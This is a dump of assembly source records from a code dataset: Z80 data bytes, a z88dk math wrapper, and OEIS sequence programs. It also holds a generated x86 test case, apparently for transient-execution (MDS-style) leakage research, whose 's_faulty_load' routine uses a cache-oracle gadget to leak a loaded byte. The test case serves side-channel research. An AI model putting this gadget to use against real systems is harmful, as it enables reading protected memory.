$03, $01, $65 db $5D, $19, $11, $02, $19, $12, $02, $03 db $63, $78, $5D, $19, $15, $04, $19, $14 db $04, $19, $15, $03, $19, $12, $03, $19 db $11, $02, $16, $CD, $01, $65, $CD, $E6 db $1E, $CD, $D3, $1E, $C3, $A4, $0D, $C5 db $1E, $5B, $1A, $D6, $14, $07, $07, $21 db $8D, $78, $85, $6F, $30, $01, $24, $CD db $23, $21, $1E, $12, $2A, $12, $44, $4D db $CD, $D1, $1F, $C1, $C9, $38, $38, $DF db $DE, $C8, $C8, $19, $18, $C8, $38, $19 db $DE, $38, $C8, $DF, $18, $24, $0B, $0D db $0F, $20, $02, $02, $3F, $03, $B0, $78 db $5D, $0D, $BC, $78, $0D, $F7, $78, $00 db $CD, $01, $65, $CD, $A4, $0D, $01, $B1 db $74, $C3, $5B, $25, $1E, $48, $1A, $67 db $2E, $42, $7E, $1E, $45, $12, $2E, $41 db $7E, $3D, $FE, $05, $38, $0A, $FE, $0D db $30, $06, $1E, $45, $1A, $2F, $3C, $12 db $7E, $3D, $21, $E7, $78, $85, $6F, $30 db $01, $24, $7E, $1E, $15, $12, $C9, $09 db $0A, $0B, $0C, $0D, $0C, $0B, $0A, $09 db $2E, $2D, $2C, $0D, $2C, $2D, $2E, $1E db $48, $1A, $67, $2E, $41, $7E, $3D, $21 db $14, $79, $07, $07, $85, $6F, $30, $01 db $24, $CD, $F9, $20, $1E, $0F, $2A, $12 db $1C, $2A, $12, $C9, $00, $04, $00, $00 db $B2, $03, $87, $01, $D4, $02, $D4, $02 db $87, $01, $B2, $03, $00, $00, $00, $04 db $87, $01, $B2, $03, $D4, $02, $D4, $02 db $B2, $03, $87, $01, $00, $04, $00, $00 db $B2, $03, $79, $FE, $D4, $02, $2C, $FD db $87, $01, $4E, $FC, $00, $00, $00, $FC db $87, $01, $4E, $FC, $D4, $02, $2C, $FD db $B2, $03, $79, $FE, $0D, $0F, $20, $04 db $04, $00, $0D, $D1, $1F, $00, $F4, $03 db $AE, $79, $5D, $08, $00, $FF, $19, $07 db $0C, $08, $00, $00, $09, $03, $19, $06 db $08, $19, $07, $08, $19, $08, $08, $19 db $07, $08, $0A, $24, $09, $22, $A4, $79 db $1D, $26, $80, $01, $08, $00, $FE, $2A db $14, $19, $06, $08, $19, $07, $08, $19 db $08, $08, $19, $07, $08, $19, $06, $08 db $19, $07, $08, $19, $08, $08, $2A, $00 db $1B, $F6, $7A, $1D, $0D, $E6, $22, $D9 db $28, $05, $08, $06, $A4, $79, $CD, $01 db $65, $CD, $D3, $1E, $CD, $A4, $0D, $01 db $25, $76, $CD, $5B, $25, $FA, $2C, $DD db $CB, $4F, $C8, $E0, $80, $01, $20, $00 db $26, $02, $CD, $E0, $30, $F0, $80, $CB db $5F, $20, $24, $CD, $C0, $1E, $2F, $3C db $12, $01, $00, $7A, $CD, $AF, $0F, $28 db $16, $2E, $46, $5D, $1A, $77, $1E, $50 db $21, $99, $42, $3E, $1E, $CD, $CF, $05 db $F0, $9A, $57, $62, $C3, $BA, $0B, $62 db $1E, $03, $01, $66, $49, $C3, $49, $08 db $1B, $00, $00, $0D, $0F, $20, $04, $04 db $00, $0D, $D1, $1F, $F6, $FA, $03, $AE db $79, $5D, $26, $30, $FF, $08, $80, $FF db $19, $07, $0C, $18, $09, $07, $19, $06 db $04, $19, $07, $04, $19, $08, $04, $19 db $07, $04, $0A, $24, $09, $22, $A4, $79 db $1D, $26, $00, $02, $08, $80, $FF, $2A db $10, $19, $06, $08, $19, $07, $08, $19 db $08, $08, $19, $07, $08, $0D, $58, $22 db $19, $06, $08, $19, $07, $08, $19, $08 db $08, $1B, $F6, $7A, $1D, $0D, $0F, $20 db $04, $04, $00, $0D, $D1, $1F, $F6, $06 db $03, $AE, $79, $5D, $26, $30, $FF, $08 db $80, $00, $19, $07, $0C, $18, $09, $09 db $19, $06, $04, $19, $07, $04, $19, $08 db $04, $19, $07, $04, $0A, $24, $09, $22 db $A4, $79, $1D, $26, $00, $02, $08, $80 db $00, $2A, $F0, $19, $06, $08, $19, $07 db $08, $19, $08, $08, $19, $07, $08, $0D db $58, $22, $19, $06, $08, $19, $07, $08 db $19, $08, $08, $1B, $F6, $7A, $1D, $0D db $0F, $20, $04, $04, $00, $0D, $D1, $1F db $00, $0C, $03, $AE, $79, $5D, $08, $00 db $01, $19, $07, $0C, $08, $00, $00, $09 db $05, $19, $06, $04, $19, $07, $04, $19 db $08, $04, $19, $07, $04, $0A, $24, $09 db $22, $A4, $79, $1D, $26, $80, $01, $08 db $00, $02, $2A, $EC, $19, $06, $08, $19 db $07, $08, $19, $08, $08, $19, $07, $08 db $19, $06, $08, $19, $07, $08, $19, $08 db $08, $2A, $00, $06, $F6, $7A, $0F, $1C db $80, $03, $01, $7B, $5D, $1B, $52, $43 db $05, $CD, $01, $65, $CD, $D3, $1E, $CD db $A4, $0D, $01, $25, $76, $C3, $5B, $25 db $17, $F6, $0D, $24, $4E, $0D, $0F, $20 db $08, $08, $3F, $03, $4D, $7B, $5D, $09 db $03, $0D, $E2, $7B, $0E, $05, $02, $0D db $E2, $7B, $0F, $05, $02, $0A, $09, $03 db $0D, $E2, $7B, $10, $05, $02, $0D, $E2 db $7B, $11, $05, $02, $0A, $09, $03, $0D db $E2, $7B, $12, $05, $02, $0D, $E2, $7B db $13, $05, $02, $0A, $16, $CD, $01, $65 db $1E, $3F, $1A, $CB, $3F, $FE, $01, $28 db $06, $DA, $65, $7B, $C3, $B4, $7B, $CD db $65, $7B, $C3, $B4, $7B, $01, $8C, $7B db $1E, $5B, $1A, $D6, $1F, $07, $5F, $07 db $07, $83, $81, $4F, $30, $01, $04, $3E db $05, $F5, $CD, $E8, $24, $C5, $01, $B1 db $74, $CD, $5B, $25, $C1, $F1, $3D, $20 db $F0, $C3, $FA, $7B, $08, $F8, $10, $E8 db $18, $D8, $20, $C8, $28, $B8, $08, $F8 db $18, $F0, $28, $E8, $38, $E0, $48, $D8 db $08, $08, $18, $10, $28, $18, $38, $20 db $48, $28, $08, $08, $10, $18, $18, $28 db $20, $38, $28, $48, $01, $BA, $7B, $C3 db $68, $7B, $30, $A8, $38, $98, $40, $88 db $48, $78, $50, $68, $58, $D0, $68, $C8 db $78, $C0, $88, $B8, $98, $B0, $58, $30 db $68, $38, $78, $40, $88, $48, $98, $50 db $30, $58, $38, $68, $40, $78, $48, $88 db $50, $98, $1E, $5B, $1A, $D6, $1F, $07 db $6F, $07, $85, $6F, $0A, $03, $67, $85 db $1E, $15, $12, $7C, $D6, $0E, $1E, $3F db $12, $C9, $1E, $5B, $1A, $D6, $1F, $07 db $01, $0E, $7C, $81, $4F, $D2, $E8, $24 db $30, $01, $04, $C3, $E8, $24, $28, $B0 db $50, $D8, $50, $28, $28, $50, $0F, $4C db $00, $04, $92, $73, $0A, $0F, $46, $00 db $03, $4B, $7C, $5D, $01, $08, $08, $00 db $00, $0D, $54, $7C, $09, $02, $0F, $47 db $10, $05, $02, $0F, $47, $00, $05, $02 db $0A, $0D, $E6, $22, $D9, $23, $19, $FF db $02, $19, $08, $02, $19, $FF, $02, $19 db $08, $02, $16, $CD, $01, $65, $CD, $D3 db $1E, $C3, $A4, $0D, $C5, $1E, $48, $3E db $FF, $12, $CD, $47, $06, $E6, $03, $6F db $FE, $02, $38, $0E, $FA, $27, $DD, $47 db $0E, $4C, $0A, $B7, $20, $06, $7D, $D6 db $02, $6F, $06, $A0, $1E, $45, $4B, $0A db $12, $7D, $21, $96, $7C, $5F, $07, $07 db $83, $85, $6F, $30, $01, $24, $CD, $F9 db $20, $1E, $12, $2A, $12, $78, $44, $4D db $67, $CD, $EC, $24, $C1, $C9, $80, $00 db $D8, $04, $06, $40, $FF, $D8, $FC, $06 db $40, $01, $D8, $08, $10, $C0, $FE, $D8 db $F8, $10, $03, $01, $65, $5D, $0D, $D1 db $1F, $06, $00, $04, $83, $77, $0B, $0F db $46, $00, $0F, $47, $10, $19, $00, $02 db $19, $01, $02, $19, $02, $02, $19, $03 db $02, $19, $04, $02, $19, $05, $02, $19 db $06, $02, $19, $07, $02, $16, $04, $52 db $6F, $0B, $0F, $46, $00, $0F, $47, $10 db $03, $60, $7D, $5D, $0D, $2A, $7D, $26 db $00, $FE, $19, $04, $02, $19, $05, $02 db $19, $04, $02, $19, $05, $02, $19, $04 db $01, $19, $05, $02, $19, $04, $01, $19 db $05, $01, $19, $04, $03, $16, $04, $52 db $6F, $0B, $0F, $46, $00, $0F, $47, $10 db $03, $60, $7D, $5D, $0D, $2A, $7D, $26 db $00, $FE, $19, $04, $02, $19, $05, $02 db $19, $04, $01, $19, $05, $01, $19, $04 db $02, $16, $C5, $21, $28, $DD, $7E, $FE db $06, $30, $0C, $34, $21, $52, $7D, $85 db $6F, $30, $01, $24, $7E, $18, $05, $CD db $47, $06, $E6, $03, $01, $58, $7D, $07 db $81, $4F, $30, $01, $04, $CD, $E8, $24 db $C1, $C9, $00, $01, $02, $01, $02, $03 db $00, $F4, $F6, $FA, $F6, $06, $00, $0C db $CD, $01, $65, $C3, $A4, $0D, $0D, $74 db $7D, $0E, $04, $7D, $7D, $9B, $7D, $B9 db $7D, $C4, $7D, $16, $21, $28, $DD, $7E db $34, $1E, $27, $12, $C9, $0D, $D1, $1F db $00, $F4, $08, $80, $FC, $26, $00, $FF db $03, $60, $7D, $5D, $19, $06, $02, $19 db $07, $02, $19, $08, $02, $19, $07, $02 db $06, $8C, $7D, $0D, $D1, $1F, $F6, $FA db $08, $80, $FE, $26, $E0, $FC, $03, $60 db $7D, $5D, $19, $08, $02, $19, $07, $02 db $19, $06, $02, $19, $07, $02, $06, $AA db $7D, $0D, $D1, $1F, $F6, $06, $08, $80 db $01, $06, $A3, $7D, $0D, $D1, $1F, $00 db $0C, $08, $80, $03, $06, $85, $7D, $08 db $80, $02, $03, $F7, $75, $5D, $0F, $47 db $10, $19, $01, $02, $0F, $47, $00, $19 db $02, $02, $0F, $47, $10, $19, $01, $02 db $0F, $47, $00, $19, $02, $02, $19, $01 db $02, $19, $FF, $01, $19, $02, $01, $19 db $FF, $01, $19, $01, $01, $19, $FF, $01 db $19, $02, $01, $16, $0D, $27, $7E, $03 db $63, $78, $5D, $19, $13, $01, $19, $12 db $01, $19, $13, $01, $19, $12, $02, $19 db $13, $01, $19, $12, $02, $19, $11, $01 db $19, $13, $01, $19, $11, $06, $16, $C5 db $CD, $47, $06, $E6, $07, $07, $07, $07 db $21, $48, $7E, $85, $6F, $30, $01, $24 db $CD, $F9, $20, $CD, $23, $21, $CD, $BE db $20, $44, $4D, $CD, $E8, $24, $C1, $C9 db $00, $FE, $10, $00, $00, $00, $FA, $00 db $96, $FE, $0B, $96, $FE, $0B, $FC, $FC db $96, $FE, $0B, $6A, $01, $F5, $FC, $04 db $00, $00, $00, $00, $FE, $10, $00, $FA db $00, $00, $00, $00, $02, $F0, $00, $06 db $6A, $01, $F5, $96, $FE, $0B, $04, $FC db $6A, $01, $F5, $6A, $01, $F5, $04, $04 db $00, $02, $F0, $00, $00, $00, $06, $00 db $0D, $2E, $4A, $22, $9F, $7E, $1D, $09 db $02, $19, $06, $02, $19, $07, $02, $19 db $08, $02, $19, $07, $02, $0A, $16, $0F db $47, $00, $05, $01, $0F, $47, $10, $05 db $01, $06, $9F, $7E, $19, $07, $02, $19 db $08, $02, $19, $07, $02, $0A, $16, $0F db $47, $00, $05, $01, $0F, $47, $10, $05 db $01, $06, $B7, $7E, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $82, $00, $0A, $02, $00, $20, $00, $40 db $10, $80, $42, $00, $80, $01, $00, $08 db $00, $00, $00, $10, $00, $00, $02, $00 db $00, $00, $00, $00, $08, $00, $00, $00 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $EF, $FF, $FF, $FF, $FF db $FF, $FF, $FB, $FF, $FF, $FF, $FF, $FF db $01, $00, $20, $18, $20, $10, $28, $64 db $09, $00, $09, $80, $02, $10, $80, $4A db $00, $00, $00, $00, $00, $00, $00, $40 db $00, $00, $00, $00, $00, $00, $00, $00 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FB, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $80, $50, $C6, $24, $02, $00, $10, $00 db $00, $00, $00, $04, $60, $E0, $18, $50 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $10, $00, $00 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $DF, $FF, $FF, $FF, $FF db $8A, $00, $CC, $50, $08, $90, $00, $00 db $21, $00, $09, $00, $08, $08, $0C, $40 db $00, $00, $04, $00, $00, $00, $00, $00 db $00, $08, $00, $00, $00, $02, $00, $00 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FB, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $8C, $00, $20, $38, $02, $20, $00, $48 db $02, $84, $20, $50, $09, $00, $2C, $04 db $00, $00, $00, $00, $00, $00, $20, $00 db $01, $00, $00, $00, $00, $00, $00, $00
47.952706
47
0.375126
5ad95ecb24191861c018c83cc398b32b48b1a331
94
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/pow.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/pow.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/pow.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math16 PUBLIC _powf16 EXTERN cm16_sdcc_pow defc _powf16 = cm16_sdcc_pow
13.428571
29
0.819149
8cab0caf3c8327fe5930c76ac99a634740240b04
1,029
asm
Assembly
programs/oeis/035/A035289.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/035/A035289.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/035/A035289.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A035289: Number of ways to place a non-attacking white and black knight on n X n chessboard. ; 0,12,56,192,504,1100,2112,3696,6032,9324,13800,19712,27336,36972,48944,63600,81312,102476,127512,156864,191000,230412,275616,327152,385584,451500,525512,608256,700392,802604,915600,1040112,1176896,1326732,1490424,1668800,1862712,2073036,2300672,2546544,2811600,3096812,3403176,3731712,4083464,4459500,4860912,5288816,5744352,6228684,6743000,7288512,7866456,8478092,9124704,9807600,10528112,11287596,12087432,12929024,13813800,14743212,15718736,16741872,17814144,18937100,20112312,21341376,22625912,23967564,25368000,26828912,28352016,29939052,31591784,33312000,35101512,36962156,38895792,40904304,42989600,45153612,47398296,49725632,52137624,54636300,57223712,59901936,62673072,65539244,68502600,71565312,74729576,77997612,81371664,84854000,88446912,92152716,95973752,99912384 mov $2,1 mov $3,1 lpb $0 sub $0,1 add $2,4 add $2,$0 sub $2,1 add $3,$0 lpe add $1,13 mul $1,$3 sub $2,1 mul $1,$2 div $1,13 mul $1,4 mov $0,$1
51.45
778
0.805637
ea84185a3924f46eaec7fa402af472d47c0ec5e2
6,908
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1117.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1117.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1117.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0xdef8, %r10 nop nop nop xor %r13, %r13 movw $0x6162, (%r10) nop nop nop nop sub %r12, %r12 lea addresses_A_ht+0x1d568, %rsi lea addresses_UC_ht+0x19af8, %rdi nop nop and $13011, %rax mov $124, %rcx rep movsq nop nop sub %r8, %r8 lea addresses_A_ht+0x1a3f8, %rcx nop nop nop xor %rsi, %rsi mov (%rcx), %rax nop sub $16985, %r8 lea addresses_A_ht+0x14cd0, %rsi lea addresses_UC_ht+0x744c, %rdi nop nop nop nop dec %r8 mov $100, %rcx rep movsw nop nop and $53831, %rsi lea addresses_WT_ht+0xdaf8, %rdi nop lfence mov (%rdi), %r13 nop nop nop nop and $1482, %rdi lea addresses_WC_ht+0x10650, %r8 nop and %rdi, %rdi mov $0x6162636465666768, %r13 movq %r13, (%r8) and $29534, %rax lea addresses_UC_ht+0x1a0d0, %rsi lea addresses_WC_ht+0x4378, %rdi and %r12, %r12 mov $39, %rcx rep movsq dec %rdi lea addresses_normal_ht+0xb548, %rsi nop and $8052, %rdi mov (%rsi), %r10 xor $1699, %r8 lea addresses_D_ht+0x207e, %rsi lea addresses_D_ht+0x32f8, %rdi clflush (%rsi) nop xor %r10, %r10 mov $77, %rcx rep movsw nop sub %rsi, %rsi lea addresses_WT_ht+0xe22, %rsi lea addresses_WT_ht+0x22f8, %rdi nop nop nop and $22342, %r12 mov $28, %rcx rep movsl nop nop nop nop add $44729, %r12 lea addresses_D_ht+0xaaf8, %r8 clflush (%r8) xor $18818, %r12 movb $0x61, (%r8) nop nop nop cmp %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r9 push %rbp push %rdi push %rdx // Store lea addresses_D+0x159a3, %rbp inc %r9 movw $0x5152, (%rbp) nop nop nop nop and $38505, %r12 // Faulty Load lea addresses_US+0x1d2f8, %r10 nop nop inc %rdi movaps (%r10), %xmm4 vpextrq $0, %xmm4, %rbp lea oracles, %r10 and $0xff, %rbp shlq $12, %rbp mov (%r10,%rbp,1), %rbp pop %rdx pop %rdi pop %rbp pop %r9 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.377778
2,999
0.656775
5c12bef3a33eb349cbcb63bcd9fe8572b9045aff
1,090
asm
Assembly
libsrc/farz88/strings/strcpy_far.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/farz88/strings/strcpy_far.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/farz88/strings/strcpy_far.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; strcpy function for use with far pointers ; 31/3/00 GWL ; ; $Id: strcpy_far.asm,v 1.5 2017/01/02 20:37:10 aralbrec Exp $ ; SECTION code_clib EXTERN farseg1,incfar PUBLIC strcpy_far PUBLIC _strcpy_far ;far *strcpy(far *s1,far *s2) ; copies s2 to s1 .strcpy_far ._strcpy_far ld ix,2 add ix,sp ld c,(ix+4) ld b,(ix+5) ld e,(ix+6) ; E'B'C'=s1 exx ld c,(ix+0) ld b,(ix+1) ld e,(ix+2) ; EBC=s2 ld a,($04d1) ex af,af' ; save seg 1 binding .strcpy1 call farseg1 ld a,(hl) ; char from s2 ld iyl,a call incfar exx call farseg1 ld a,iyl ld (hl),a ; place at s1 call incfar exx and a jr nz,strcpy1 ex af,af' ld ($04d1),a out ($d1),a ; rebind segment 1 ld l,(ix+4) ld h,(ix+5) ld e,(ix+6) ; EHL=s1 ret
21.8
62
0.426606
cd3971dc967c1fac86f42ab49ae324784e25eb07
1,174
asm
Assembly
programs/oeis/162/A162751.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/162/A162751.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/162/A162751.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A162751: Write down in binary the n-th positive (odd) integer that is a palindrome in base 2. Take only the leftmost half of the digits (including the middle digit if there are an odd number of digits). a(n) is the decimal equivalent of the result. ; 1,1,2,3,2,3,4,5,6,7,4,5,6,7,8,9,10,11,12,13,14,15,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123 lpb $0 add $2,$0 add $2,1 add $3,1 mov $4,$2 mov $2,$3 mul $3,2 sub $4,2 mov $1,$4 trn $4,$3 mov $0,$4 lpe add $1,1
69.058824
785
0.672061
c89236c2406b74cc72ad56f1c3c48b6915223f91
1,356
asm
Assembly
programs/oeis/298/A298016.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/298/A298016.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/298/A298016.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
